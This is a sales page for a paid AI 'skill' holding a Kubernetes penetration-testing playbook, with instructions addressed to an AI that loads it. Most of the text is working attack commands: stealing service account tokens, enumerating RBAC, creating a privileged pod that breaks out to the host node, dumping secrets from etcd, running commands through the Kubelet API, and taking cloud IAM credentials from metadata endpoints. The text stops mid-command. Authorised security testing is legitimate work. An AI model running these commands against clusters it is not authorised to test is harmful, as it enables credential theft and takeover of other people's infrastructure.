Claude
Skills
Sign in
Back

kubernetes-pentesting

Included with Lifetime
$97 forever

Kubernetes penetration testing playbook. Use when targeting Kubernetes clusters via API server, RBAC enumeration, service account abuse, etcd access, Kubelet API, pod escape, cloud-specific metadata, admission webhook bypass, and registry secrets.

Backend & APIs

What this skill does


# SKILL: Kubernetes Pentesting — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API.

## 0. RELATED ROUTING

Before going deep, consider loading:

- [container-escape-techniques](../container-escape-techniques/SKILL.md) for escaping from a compromised pod to the underlying node
- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) once on a node for escalating to root
- [linux-lateral-movement](../linux-lateral-movement/SKILL.md) for pivoting between nodes
- [linux-security-bypass](../linux-security-bypass/SKILL.md) when Pod Security Standards or seccomp profiles restrict your actions
- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) when exploiting SSRF to reach the K8s API or cloud metadata

---

## 1. K8S API SERVER ACCESS

### 1.1 Anonymous Access Check

```bash
# Check if anonymous auth is enabled (default: limited in modern clusters)
curl -sk https://APISERVER:6443/api/v1/namespaces
curl -sk https://APISERVER:6443/version
curl -sk https://APISERVER:6443/api
curl -sk https://APISERVER:6443/apis

# Common API server ports:
# 6443 — secure API (default)
# 8443 — alternative secure
# 8080 — insecure API (legacy, no auth needed)
```

### 1.2 Token-Based Authentication (from inside pod)

```bash
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://kubernetes.default.svc"

curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$NAMESPACE/pods
```

### 1.3 Certificate / Kubeconfig Authentication

```bash
# Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf,
# /etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig
kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces
```

---

## 2. RBAC ENUMERATION

### 2.1 Self-Permission Check

```bash
# What can I do?
kubectl auth can-i --list
kubectl auth can-i --list -n kube-system

# Specific checks
kubectl auth can-i create pods
kubectl auth can-i create pods -n kube-system
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'     # Full cluster admin?

# Via API (from inside pod):
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -H "Content-Type: application/json" \
  -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}"
```

### 2.2 Role and ClusterRole Enumeration

```bash
kubectl get roles --all-namespaces && kubectl get clusterroles
kubectl describe clusterrole CLUSTER_ROLE_NAME

# Find overprivileged roles (wildcard verbs/resources):
kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "*" in rule.get("verbs",[]) or "*" in rule.get("resources",[])]'
```

### 2.3 Dangerous RBAC Permissions

| Permission | Risk | Escalation Path |
|---|---|---|
| `pods/exec` | **Critical** | Exec into any pod (access secrets, tokens) |
| `pods` (create) | **Critical** | Create privileged pod → node access |
| `secrets` (get/list) | **Critical** | Read all secrets including SA tokens |
| `serviceaccounts/token` (create) | **Critical** | Generate token for any SA |
| `nodes/proxy` | **High** | Proxy to Kubelet API |
| `escalate` on roles | **Critical** | Grant yourself any permission |
| `bind` on rolebindings | **Critical** | Bind any role to yourself |
| `impersonate` | **Critical** | Impersonate any user/SA |

---

## 3. SERVICE ACCOUNT TOKEN ABUSE

### 3.1 Token Location and Decoding

```bash
# Default mount point
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Decode JWT (no verification needed)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Shows: namespace, service account name, expiry
```

### 3.2 Escalation via Service Account

```bash
# If SA has elevated permissions — dump secrets, create privileged pod:
kubectl get secrets --all-namespaces
kubectl apply -f - << 'EOF'
apiVersion: v1
kind: Pod
metadata: { name: privesc }
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: pwn
    image: alpine
    command: ["/bin/sh","-c","nsenter -t 1 -m -u -i -n -p -- /bin/bash"]
    securityContext: { privileged: true }
    volumeMounts: [{ name: hostfs, mountPath: /host }]
  volumes: [{ name: hostfs, hostPath: { path: / }}]
EOF
```

### 3.3 Token Generation

```bash
# If serviceaccounts/token create permission:
kubectl create token admin-sa -n kube-system --duration=87600h
```

---

## 4. ETCD DIRECT ACCESS

```bash
# Check anonymous access (port 2379 on master nodes):
curl -sk https://ETCD_IP:2379/version

# With certs from master node (/etc/kubernetes/pki/etcd/):
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 \
  --cacert=ca.crt --cert=server.crt --key=server.key \
  get / --prefix --keys-only | grep secrets

# Dump specific secret:
ETCDCTL_API=3 etcdctl ... get /registry/secrets/default/my-secret
```

---

## 5. POD ESCAPE TO NODE

### See [container-escape-techniques](../container-escape-techniques/SKILL.md) for detailed escape chains.

Quick reference for K8s-specific vectors:

| Vector | Requirement | Command |
|---|---|---|
| hostPID | `spec.hostPID: true` | `nsenter -t 1 -m -u -i -n -p -- bash` |
| hostNetwork | `spec.hostNetwork: true` | Access node services (Kubelet, etcd) |
| hostPath `/` | Volume mount of host root | `chroot /host bash` |
| Privileged container | `securityContext.privileged: true` | Mount host disk / nsenter |

---

## 6. KUBELET API (Port 10250/10255)

```bash
curl -sk https://NODE_IP:10250/pods        # Anonymous access check
# 10255 = read-only (legacy, HTTP)

# Exec into pod via Kubelet (bypasses API server RBAC):
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id"

# Read logs:
curl -sk https://NODE_IP:10250/containerLogs/NAMESPACE/POD_NAME/CONTAINER_NAME
```

---

## 7. CLOUD-SPECIFIC ATTACKS

### 7.1 AWS EKS — IMDS Access

```bash
# From inside a pod (if IMDSv1 or no hop limit enforced):
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns IAM role name, then:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)

# IMDSv2 (token required):
IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# EKS-specific: IRSA (IAM Roles for Service Accounts)
# Token at: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
# Env vars: AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE
```

### 7.2 GCP GKE — Metadata API

```bash
# GCE metadata server
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Returns OAuth2 access token

# List available scopes
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes

# GKE Workload Identity (if configured):
# The pod's SA is mapped to a GCP SA
# Token automatically available for GCP API calls
```

### 7.3 Azure AKS — Managed Identity

```bash
# Azure IMDS
curl -s -H "Metadata: true" \
 

Related in Backend & APIs